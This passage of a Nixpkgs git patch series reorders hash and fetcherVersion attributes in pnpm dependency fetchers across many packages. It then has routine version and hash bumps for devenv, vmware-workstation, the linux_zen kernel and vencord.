     pnpmDeps = pnpm_8.fetchDeps {
       inherit pname version src;
       sourceRoot = "${src.name}/frontend";
-      hash = "sha256-OP+3zsNlvqLFwvm2cnBd2bj2Kc3EghQZE3hpotoqqrQ=";
       fetcherVersion = 1;
+      hash = "sha256-OP+3zsNlvqLFwvm2cnBd2bj2Kc3EghQZE3hpotoqqrQ=";
     };
 
     pnpmRoot = "frontend";
diff --git a/pkgs/by-name/sh/shadcn/package.nix b/pkgs/by-name/sh/shadcn/package.nix
index 02f73aace615..bece7c8a189c 100644
--- a/pkgs/by-name/sh/shadcn/package.nix
+++ b/pkgs/by-name/sh/shadcn/package.nix
@@ -28,8 +28,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       src
       pnpmWorkspaces
       ;
-    hash = "sha256-/80LJm65ZRqyfhsNqGl83bsI2wjgVkvrA6Ij4v8rtoQ=";
     fetcherVersion = 1;
+    hash = "sha256-/80LJm65ZRqyfhsNqGl83bsI2wjgVkvrA6Ij4v8rtoQ=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index 05fa3157f117..dda22c4d6f45 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -66,8 +66,8 @@ let
 
     pnpmDeps = pnpm.fetchDeps {
       inherit (finalAttrs) pname src version;
-      hash = "sha256-cT7Ixl/V/mesPHvJUsG63Y/wXwKjbjkjdjP3S7uEOa0=";
       fetcherVersion = 1;
+      hash = "sha256-cT7Ixl/V/mesPHvJUsG63Y/wXwKjbjkjdjP3S7uEOa0=";
     };
 
     strictDeps = true;
@@ -117,12 +117,12 @@ stdenv.mkDerivation (finalAttrs: {
       src
       patches
       ;
+    fetcherVersion = 1;
     hash =
       if withAppleEmojis then
         "sha256-ry7s9fbKx4e1LR8DlI2LIJY9GQrxmU7JQt+3apJGw/M="
       else
         "sha256-AkrfugpNvk4KgesRLQbso8p5b96Dg174R9/xuP4JtJg=";
-    fetcherVersion = 1;
   };
 
   env = {
diff --git a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
index 14f9e1866e55..a71e8dffdb56 100644
--- a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
+++ b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
@@ -22,8 +22,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-regaYG+SDvIgdnHQVR1GG1A1FSBXpzFfLuyTEdMt1kQ=";
     fetcherVersion = 1;
+    hash = "sha256-regaYG+SDvIgdnHQVR1GG1A1FSBXpzFfLuyTEdMt1kQ=";
   };
 
   cargoRoot = "deps/extension";
diff --git a/pkgs/by-name/si/siyuan/package.nix b/pkgs/by-name/si/siyuan/package.nix
index 0ef4c064caf0..c5a1aecf3acc 100644
--- a/pkgs/by-name/si/siyuan/package.nix
+++ b/pkgs/by-name/si/siyuan/package.nix
@@ -89,8 +89,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       sourceRoot
       ;
-    hash = "sha256-5KqMmpcI+4iy3Ff72D8aUvhPttW2vwTI8aTwXBJ7sqo=";
     fetcherVersion = 1;
+    hash = "sha256-5KqMmpcI+4iy3Ff72D8aUvhPttW2vwTI8aTwXBJ7sqo=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/app";
diff --git a/pkgs/by-name/sk/sketchybar-app-font/package.nix b/pkgs/by-name/sk/sketchybar-app-font/package.nix
index 025b67dded53..3f9f5264495f 100644
--- a/pkgs/by-name/sk/sketchybar-app-font/package.nix
+++ b/pkgs/by-name/sk/sketchybar-app-font/package.nix
@@ -20,8 +20,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-NGAgueJ+cuK/csjdf94KNklu+Xf91BHoWKVgEctX6eA=";
     fetcherVersion = 1;
+    hash = "sha256-NGAgueJ+cuK/csjdf94KNklu+Xf91BHoWKVgEctX6eA=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sl/slimevr/package.nix b/pkgs/by-name/sl/slimevr/package.nix
index 64fbba72885f..38198aaa45e7 100644
--- a/pkgs/by-name/sl/slimevr/package.nix
+++ b/pkgs/by-name/sl/slimevr/package.nix
@@ -39,8 +39,8 @@ rustPlatform.buildRustPackage rec {
   pnpmDeps = pnpm_9.fetchDeps {
     pname = "${pname}-pnpm-deps";
     inherit version src;
-    hash = "sha256-xCID9JOFEswsTbE5Dh6ZAkhhyy4eMuqkme54IdWfcks=";
     fetcherVersion = 1;
+    hash = "sha256-xCID9JOFEswsTbE5Dh6ZAkhhyy4eMuqkme54IdWfcks=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/st/stylelint-lsp/package.nix b/pkgs/by-name/st/stylelint-lsp/package.nix
index 4ab98700ce28..26df327d2dd5 100644
--- a/pkgs/by-name/st/stylelint-lsp/package.nix
+++ b/pkgs/by-name/st/stylelint-lsp/package.nix
@@ -28,8 +28,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-PVA6sXbiuxqvi9u3sPoeVIJSSpSbFQHQQnTFO3w31WE=";
     fetcherVersion = 1;
+    hash = "sha256-PVA6sXbiuxqvi9u3sPoeVIJSSpSbFQHQQnTFO3w31WE=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/su/surrealist/package.nix b/pkgs/by-name/su/surrealist/package.nix
index 0db0a73b153d..d7777c48fc2a 100644
--- a/pkgs/by-name/su/surrealist/package.nix
+++ b/pkgs/by-name/su/surrealist/package.nix
@@ -67,8 +67,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-oreeV9g16/F7JGLApi0Uq+vTqNhIg7Lg1Z4k00RUOYI=";
     fetcherVersion = 1;
+    hash = "sha256-oreeV9g16/F7JGLApi0Uq+vTqNhIg7Lg1Z4k00RUOYI=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sy/synchrony/package.nix b/pkgs/by-name/sy/synchrony/package.nix
index bae597725037..21ed6c385e09 100644
--- a/pkgs/by-name/sy/synchrony/package.nix
+++ b/pkgs/by-name/sy/synchrony/package.nix
@@ -27,8 +27,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-+hS4UK7sncCxv6o5Yl72AeY+LSGLnUTnKosAYB6QsP0=";
     fetcherVersion = 1;
+    hash = "sha256-+hS4UK7sncCxv6o5Yl72AeY+LSGLnUTnKosAYB6QsP0=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/sy/syncyomi/package.nix b/pkgs/by-name/sy/syncyomi/package.nix
index b3944784c853..21a7e6bc5211 100644
--- a/pkgs/by-name/sy/syncyomi/package.nix
+++ b/pkgs/by-name/sy/syncyomi/package.nix
@@ -33,8 +33,8 @@ buildGoModule rec {
         src
         sourceRoot
         ;
-      hash = "sha256-edcZIqshnvM3jJpZWIR/UncI0VCMLq26h/n3VvV/384=";
       fetcherVersion = 1;
+      hash = "sha256-edcZIqshnvM3jJpZWIR/UncI0VCMLq26h/n3VvV/384=";
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/tabby-agent/package.nix b/pkgs/by-name/ta/tabby-agent/package.nix
index 53defaa61300..87bcef9729e9 100644
--- a/pkgs/by-name/ta/tabby-agent/package.nix
+++ b/pkgs/by-name/ta/tabby-agent/package.nix
@@ -48,8 +48,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-cdbmEgwHA+2/nfc8gaLAsCxLH0FNEQ0hjfRzQvngLKI=";
     fetcherVersion = 1;
+    hash = "sha256-cdbmEgwHA+2/nfc8gaLAsCxLH0FNEQ0hjfRzQvngLKI=";
   };
 
   passthru.updateScript = nix-update-script {
diff --git a/pkgs/by-name/ta/tailwindcss-language-server/package.nix b/pkgs/by-name/ta/tailwindcss-language-server/package.nix
index 6a615835434a..cc8c045aaf1c 100644
--- a/pkgs/by-name/ta/tailwindcss-language-server/package.nix
+++ b/pkgs/by-name/ta/tailwindcss-language-server/package.nix
@@ -29,8 +29,8 @@ stdenv.mkDerivation (finalAttrs: {
       pnpmWorkspaces
       prePnpmInstall
       ;
-    hash = "sha256-f7eNBQl6/qLE7heoCFnYpjq57cjZ9pwT9Td4WmY1oag=";
     fetcherVersion = 1;
+    hash = "sha256-f7eNBQl6/qLE7heoCFnYpjq57cjZ9pwT9Td4WmY1oag=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/taler-wallet-core/package.nix b/pkgs/by-name/ta/taler-wallet-core/package.nix
index eb86a73f1a0c..313bd567b98b 100644
--- a/pkgs/by-name/ta/taler-wallet-core/package.nix
+++ b/pkgs/by-name/ta/taler-wallet-core/package.nix
@@ -56,8 +56,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-pLe5smsXdzSBgz/OYNO5FVEI2L6y/p+jMxEkzqUaX34=";
     fetcherVersion = 1;
+    hash = "sha256-pLe5smsXdzSBgz/OYNO5FVEI2L6y/p+jMxEkzqUaX34=";
   };
 
   buildInputs = [ nodejs_20 ];
diff --git a/pkgs/by-name/ta/taze/package.nix b/pkgs/by-name/ta/taze/package.nix
index 76c9b8b8560b..a4bd2fe26c45 100644
--- a/pkgs/by-name/ta/taze/package.nix
+++ b/pkgs/by-name/ta/taze/package.nix
@@ -24,8 +24,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-aUMV2REINp5LDcj1s8bgQAj/4508UEewu+ebD+JT0+M=";
     fetcherVersion = 1;
+    hash = "sha256-aUMV2REINp5LDcj1s8bgQAj/4508UEewu+ebD+JT0+M=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/te/teleport/package.nix b/pkgs/by-name/te/teleport/package.nix
index 4b3667ba21e3..0058ebc0b571 100644
--- a/pkgs/by-name/te/teleport/package.nix
+++ b/pkgs/by-name/te/teleport/package.nix
@@ -73,8 +73,8 @@ let
 
     pnpmDeps = pnpm_10.fetchDeps {
       inherit src pname version;
-      hash = pnpmHash;
       fetcherVersion = 1;
+      hash = pnpmHash;
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/ty/typespec/package.nix b/pkgs/by-name/ty/typespec/package.nix
index d78bc9ebd677..df0d3ca91eb9 100644
--- a/pkgs/by-name/ty/typespec/package.nix
+++ b/pkgs/by-name/ty/typespec/package.nix
@@ -38,8 +38,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       pnpmWorkspaces
       postPatch
       ;
-    hash = "sha256-9RQZ2ycu78W3Ie6MLpo6x7Sa/iYsUdq5bYed56mOPxs=";
     fetcherVersion = 1;
+    hash = "sha256-9RQZ2ycu78W3Ie6MLpo6x7Sa/iYsUdq5bYed56mOPxs=";
   };
 
   postPatch = ''
diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index 440ebab7b0c6..bd467cd0a099 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -25,8 +25,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname src;
-    hash = "sha256-hO6QKRr4jTfesRDAEGcpFeJmGTGLGMw6EgIvD23DNzw=";
     fetcherVersion = 1;
+    hash = "sha256-hO6QKRr4jTfesRDAEGcpFeJmGTGLGMw6EgIvD23DNzw=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ve/vesktop/package.nix b/pkgs/by-name/ve/vesktop/package.nix
index a9a48dc3e768..7a548add72da 100644
--- a/pkgs/by-name/ve/vesktop/package.nix
+++ b/pkgs/by-name/ve/vesktop/package.nix
@@ -40,8 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       patches
       ;
-    hash = "sha256-C05rDd5bcbR18O6ACgzS0pQdWzB99ulceOBpW+4Zbqw=";
     fetcherVersion = 1;
+    hash = "sha256-C05rDd5bcbR18O6ACgzS0pQdWzB99ulceOBpW+4Zbqw=";
   };
 
   nativeBuildInputs =
diff --git a/pkgs/by-name/vi/vikunja/package.nix b/pkgs/by-name/vi/vikunja/package.nix
index c703e6eca8f9..89200906e53b 100644
--- a/pkgs/by-name/vi/vikunja/package.nix
+++ b/pkgs/by-name/vi/vikunja/package.nix
@@ -36,8 +36,8 @@ let
         src
         sourceRoot
         ;
-      hash = "sha256-94ZlywOZYmW/NsvE0dtEA81MeBWGUrJsBXTUauuOmZM=";
       fetcherVersion = 1;
+      hash = "sha256-94ZlywOZYmW/NsvE0dtEA81MeBWGUrJsBXTUauuOmZM=";
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/vo/voicevox/package.nix b/pkgs/by-name/vo/voicevox/package.nix
index 9b373173828d..dde014b43e85 100644
--- a/pkgs/by-name/vo/voicevox/package.nix
+++ b/pkgs/by-name/vo/voicevox/package.nix
@@ -64,8 +64,8 @@ stdenv.mkDerivation (finalAttrs: {
       moreutils
     ];
 
-    hash = "sha256-RKgqFmHQnjHS7yeUIbH9awpNozDOCCHplc/bmfxmMyg=";
     fetcherVersion = 1;
+    hash = "sha256-RKgqFmHQnjHS7yeUIbH9awpNozDOCCHplc/bmfxmMyg=";
   };
 
   nativeBuildInputs =
diff --git a/pkgs/by-name/vt/vtsls/package.nix b/pkgs/by-name/vt/vtsls/package.nix
index 93a1318880e8..dab09d231485 100644
--- a/pkgs/by-name/vt/vtsls/package.nix
+++ b/pkgs/by-name/vt/vtsls/package.nix
@@ -38,8 +38,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       version
       ;
-    hash = "sha256-xenPpKsIjEIyVeZDjwjLaBbpWLqWQDBaLLfyzxtrsTI=";
     fetcherVersion = 1;
+    hash = "sha256-xenPpKsIjEIyVeZDjwjLaBbpWLqWQDBaLLfyzxtrsTI=";
   };
 
   # Patches to get submodule sha from file instead of 'git submodule status'
diff --git a/pkgs/by-name/we/wealthfolio/package.nix b/pkgs/by-name/we/wealthfolio/package.nix
index 9f98436ef745..e1d379167cd7 100644
--- a/pkgs/by-name/we/wealthfolio/package.nix
+++ b/pkgs/by-name/we/wealthfolio/package.nix
@@ -29,8 +29,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) src pname version;
-    hash = "sha256-0mjflUoqVJzshgpmyk32+Br61nkvcSjmjN7nf+7ZXJE=";
     fetcherVersion = 1;
+    hash = "sha256-0mjflUoqVJzshgpmyk32+Br61nkvcSjmjN7nf+7ZXJE=";
   };
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/wo/wox/package.nix b/pkgs/by-name/wo/wox/package.nix
index 1fa7c480353a..05ec2dd503c8 100644
--- a/pkgs/by-name/wo/wox/package.nix
+++ b/pkgs/by-name/wo/wox/package.nix
@@ -74,8 +74,8 @@ let
         src
         sourceRoot
         ;
-      hash = "sha256-4Xj6doUHFoZSwel+cPnr2m3rfvlxNmQCppm5gXGIEtU=";
       fetcherVersion = 1;
+      hash = "sha256-4Xj6doUHFoZSwel+cPnr2m3rfvlxNmQCppm5gXGIEtU=";
     };
 
     buildPhase = ''
diff --git a/pkgs/by-name/wr/wrangler/package.nix b/pkgs/by-name/wr/wrangler/package.nix
index 4375981bb156..c2628278fb9f 100644
--- a/pkgs/by-name/wr/wrangler/package.nix
+++ b/pkgs/by-name/wr/wrangler/package.nix
@@ -33,8 +33,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       postPatch
       ;
-    hash = "sha256-OCxUhvPIPKSGTTeXaLmkErOBpYQ8mKmieUYj6qxuTK4=";
     fetcherVersion = 1;
+    hash = "sha256-OCxUhvPIPKSGTTeXaLmkErOBpYQ8mKmieUYj6qxuTK4=";
   };
   # pnpm packageManager version in workers-sdk root package.json may not match nixpkgs
   postPatch = ''
diff --git a/pkgs/by-name/za/zammad/package.nix b/pkgs/by-name/za/zammad/package.nix
index 16d9dd41c465..062c8842d1e1 100644
--- a/pkgs/by-name/za/zammad/package.nix
+++ b/pkgs/by-name/za/zammad/package.nix
@@ -81,8 +81,8 @@ stdenvNoCC.mkDerivation {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname src;
 
-    hash = "sha256-mfdzb/LXQYL8kaQpWi9wD3OOroOOonDlJrhy9Dwl1no";
     fetcherVersion = 1;
+    hash = "sha256-mfdzb/LXQYL8kaQpWi9wD3OOroOOonDlJrhy9Dwl1no";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/za/zashboard/package.nix b/pkgs/by-name/za/zashboard/package.nix
index 3cdaed574e47..9711376a5a6e 100644
--- a/pkgs/by-name/za/zashboard/package.nix
+++ b/pkgs/by-name/za/zashboard/package.nix
@@ -25,8 +25,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-If3N000TbUERPo3hPBQtv/iQw1p0MhqFdFfhn8HHkrs=";
     fetcherVersion = 1;
+    hash = "sha256-If3N000TbUERPo3hPBQtv/iQw1p0MhqFdFfhn8HHkrs=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/ze/zenn-cli/package.nix b/pkgs/by-name/ze/zenn-cli/package.nix
index 327e0ba517a4..9f317a8124e8 100644
--- a/pkgs/by-name/ze/zenn-cli/package.nix
+++ b/pkgs/by-name/ze/zenn-cli/package.nix
@@ -54,8 +54,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-AjdXclrNl1AHJ4LXq9I5Rk6KGyDaWXW187o2uLwRy/o=";
     fetcherVersion = 1;
+    hash = "sha256-AjdXclrNl1AHJ4LXq9I5Rk6KGyDaWXW187o2uLwRy/o=";
   };
 
   preBuild =
diff --git a/pkgs/by-name/zi/zigbee2mqtt_2/package.nix b/pkgs/by-name/zi/zigbee2mqtt_2/package.nix
index 183dc57f748d..3bb93dfb5f0b 100644
--- a/pkgs/by-name/zi/zigbee2mqtt_2/package.nix
+++ b/pkgs/by-name/zi/zigbee2mqtt_2/package.nix
@@ -27,8 +27,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-Uli0skvkAyVbKdna9MTWoQzK3V7puM7gd7GzCk7tS78=";
     fetcherVersion = 1;
+    hash = "sha256-Uli0skvkAyVbKdna9MTWoQzK3V7puM7gd7GzCk7tS78=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index a44a9b099dc8..fb9d95826bfd 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -43,8 +43,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-kIneqtLPZ29PzluKUGO4XbQYHbNddu0kTfoP4C22k7U=";
     fetcherVersion = 1;
+    hash = "sha256-kIneqtLPZ29PzluKUGO4XbQYHbNddu0kTfoP4C22k7U=";
   };
 
   buildInputs = [
diff --git a/pkgs/development/python-modules/django-filingcabinet/default.nix b/pkgs/development/python-modules/django-filingcabinet/default.nix
index 19c27bc950ec..8e9e8b46d6e0 100644
--- a/pkgs/development/python-modules/django-filingcabinet/default.nix
+++ b/pkgs/development/python-modules/django-filingcabinet/default.nix
@@ -94,8 +94,8 @@ buildPythonPackage rec {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit pname version src;
-    hash = "sha256-kvLV/pCX/wQHG0ttrjSro7/CoQ5K1T0aFChafQOwvNw=";
     fetcherVersion = 1;
+    hash = "sha256-kvLV/pCX/wQHG0ttrjSro7/CoQ5K1T0aFChafQOwvNw=";
   };
 
   postBuild = ''
diff --git a/pkgs/development/python-modules/gradio/default.nix b/pkgs/development/python-modules/gradio/default.nix
index d24eb22f76d6..49475bf7a193 100644
--- a/pkgs/development/python-modules/gradio/default.nix
+++ b/pkgs/development/python-modules/gradio/default.nix
@@ -85,8 +85,8 @@ buildPythonPackage rec {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
-    hash = "sha256-h3ulPik0Uf8X687Se3J7h3+8jYzwXtbO6obsO27zyfA=";
     fetcherVersion = 1;
+    hash = "sha256-h3ulPik0Uf8X687Se3J7h3+8jYzwXtbO6obsO27zyfA=";
   };
 
   pythonRelaxDeps = [
diff --git a/pkgs/servers/authelia/web.nix b/pkgs/servers/authelia/web.nix
index 3c4e0ae2ca72..fcad0e1de466 100644
--- a/pkgs/servers/authelia/web.nix
+++ b/pkgs/servers/authelia/web.nix
@@ -31,8 +31,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       sourceRoot
       ;
-    hash = pnpmDepsHash;
     fetcherVersion = 1;
+    hash = pnpmDepsHash;
   };
 
   postPatch = ''
diff --git a/pkgs/servers/web-apps/discourse/default.nix b/pkgs/servers/web-apps/discourse/default.nix
index 27db531447f6..7476c6467b2f 100644
--- a/pkgs/servers/web-apps/discourse/default.nix
+++ b/pkgs/servers/web-apps/discourse/default.nix
@@ -233,8 +233,8 @@ let
     pnpmDeps = pnpm_9.fetchDeps {
       pname = "discourse-assets";
       inherit version src;
-      hash = "sha256-WyRBnuKCl5NJLtqy3HK/sJcrpMkh0PjbasGPNDV6+7Y=";
       fetcherVersion = 1;
+      hash = "sha256-WyRBnuKCl5NJLtqy3HK/sJcrpMkh0PjbasGPNDV6+7Y=";
     };
 
     nativeBuildInputs = runtimeDeps ++ [
diff --git a/pkgs/servers/web-apps/lemmy/ui.nix b/pkgs/servers/web-apps/lemmy/ui.nix
index eecf875e3728..85ce59d44ab6 100644
--- a/pkgs/servers/web-apps/lemmy/ui.nix
+++ b/pkgs/servers/web-apps/lemmy/ui.nix
@@ -42,8 +42,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   extraBuildInputs = [ libsass ];
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = pinData.uiPNPMDepsHash;
     fetcherVersion = 1;
+    hash = pinData.uiPNPMDepsHash;
   };
 
   buildPhase = ''

From d6d15a3f7b692997a9f5c4fa7418899ce961b5d7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Domen=20Ko=C5=BEar?= <domen@cachix.org>
Date: Thu, 17 Jul 2025 22:45:26 -0500
Subject: [PATCH 2812/4511] devenv: 1.7 -> 1.8

(cherry picked from commit f6200433cc5590032f667f75341749333afb91b9)
---
 pkgs/by-name/de/devenv/package.nix | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/de/devenv/package.nix b/pkgs/by-name/de/devenv/package.nix
index 891c0db5ee77..c710775b91c7 100644
--- a/pkgs/by-name/de/devenv/package.nix
+++ b/pkgs/by-name/de/devenv/package.nix
@@ -8,6 +8,7 @@
   cachix,
   nixVersions,
   openssl,
+  dbus,
   pkg-config,
   glibcLocalesUtf8,
   devenv, # required to run version test
@@ -18,8 +19,8 @@ let
     (nixVersions.git.overrideSource (fetchFromGitHub {
       owner = "cachix";
       repo = "nix";
-      rev = "afa41b08df4f67b8d77a8034b037ac28c71c77df";
-      hash = "sha256-IDB/oh/P63ZTdhgSkey2LZHzeNhCdoKk+4j7AaPe1SE=";
+      rev = "031c3cf42d2e9391eee373507d8c12e0f9606779";
+      hash = "sha256-dOi/M6yNeuJlj88exI+7k154z+hAhFcuB8tZktiW7rg=";
     })).overrideAttrs
       (old: {
         version = "2.30-devenv";
@@ -29,7 +30,7 @@ let
         __intentionallyOverridingVersion = true;
       });
 
-  version = "1.7";
+  version = "1.8";
 in
 rustPlatform.buildRustPackage {
   pname = "devenv";
@@ -39,11 +40,11 @@ rustPlatform.buildRustPackage {
     owner = "cachix";
     repo = "devenv";
     tag = "v${version}";
-    hash = "sha256-LzMVgB8izls/22g69KvWPbuQ8C7PRT9PobbvdV3/raI=";
+    hash = "sha256-Cg4DxHCZiXiSlbwveJpyCFzWIblWi467I2/pmsAWiAw=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-k/UrnRTI+Z09kdN7PYNOg9+GnumqOdm36F31CKZCGMU=";
+  cargoHash = "sha256-uUI0O60x8AVG85MJYzEbNdsO818yFu4w66WuozboWso=";
 
   buildAndTestSubdir = "devenv";
 
@@ -53,7 +54,10 @@ rustPlatform.buildRustPackage {
     pkg-config
   ];
 
-  buildInputs = [ openssl ];
+  buildInputs = [
+    openssl
+    dbus
+  ];
 
   postInstall =
     let

From a5ce3f388e43ed09edcb2c1b446034ce273ce5db Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Mon, 21 Jul 2025 13:32:33 -0400
Subject: [PATCH 2813/4511] vmware-workstation: 17.6.3 -> 17.6.4

(cherry picked from commit dafc39e986e9bcf03ac72bf97dc3aeb3790c08c6)
---
 pkgs/by-name/vm/vmware-workstation/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vm/vmware-workstation/package.nix b/pkgs/by-name/vm/vmware-workstation/package.nix
index 2f8a60403087..d6dca091dd45 100644
--- a/pkgs/by-name/vm/vmware-workstation/package.nix
+++ b/pkgs/by-name/vm/vmware-workstation/package.nix
@@ -35,8 +35,8 @@
 
 let
   # base - versions
-  version = "17.6.3";
-  build = "24583834";
+  version = "17.6.4";
+  build = "24832109";
 
   # macOS - versions
   unlockerVersion = "3.0.5";
@@ -116,7 +116,7 @@ stdenv.mkDerivation rec {
   src = requireFile {
     name = "VMware-Workstation-Full-${version}-${build}.x86_64.bundle";
     url = "https://support.broadcom.com/group/ecx/productdownloads?subfamily=VMware%20Workstation%20Pro&freeDownloads=true";
-    hash = "sha256-eVdZF3KN7UxtC4n0q2qBvpp3PADuto0dEqwNsSVHjuA=";
+    hash = "sha256-ZPv7rqzEiGVGgRQ2Kiu6rekRDMnoe8O9k4OWun8Zqb0=";
   };
 
   unpackPhase = ''

From d963deb6d186762d21027dbf76e7ef9cfc091cbc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 23 Jul 2025 16:03:58 +0000
Subject: [PATCH 2814/4511] linuxKernel.kernels.linux_zen: 6.15.6 -> 6.15.7

(cherry picked from commit 1744f3daf87f5bb4b2b08f6298a55b6a88ea8308)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 3ef8c184e5dd..20f22f0cbb14 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.15.6"; # zen
+      version = "6.15.7"; # zen
       suffix = "zen1"; # zen
-      sha256 = "11nfmnyyqph9d0hihss9dg96z7dgiqk3p16c2i2li6q52walbj6g"; # zen
+      sha256 = "1q68jvcghn5bw1hfnk06kh1b89mq13b84g2f0nal9i5wzrx4qxbr"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From 21d38214ee25b7be97e41266bcd3454039a1ef91 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Tue, 15 Jul 2025 15:38:58 +0200
Subject: [PATCH 2815/4511] vencord: 1.12.4 -> 1.12.6

(cherry picked from commit e3c4aaba22ec102921421005b934ac3460351790)
---
 pkgs/by-name/ve/vencord/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index bd467cd0a099..e6caf3bfa3de 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -14,19 +14,19 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vencord";
-  version = "1.12.4";
+  version = "1.12.6";
 
   src = fetchFromGitHub {
     owner = "Vendicated";
     repo = "Vencord";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-x5tbLoNGBT3tS+QXn0piFMM8+uqoQt8gfQJap1TyLmQ=";
+    hash = "sha256-7JT8BMKUhIwYMkIwr2mD8IQLDpldcDtAKh6R1tbAKMw=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname src;
-    fetcherVersion = 1;
-    hash = "sha256-hO6QKRr4jTfesRDAEGcpFeJmGTGLGMw6EgIvD23DNzw=";
+    fetcherVersion = 2;
+    hash = "sha256-JP9HOaP3DG+2F89tC77JZFD0ls35u/MzxNmvMCbBo9Y=";
   };
 
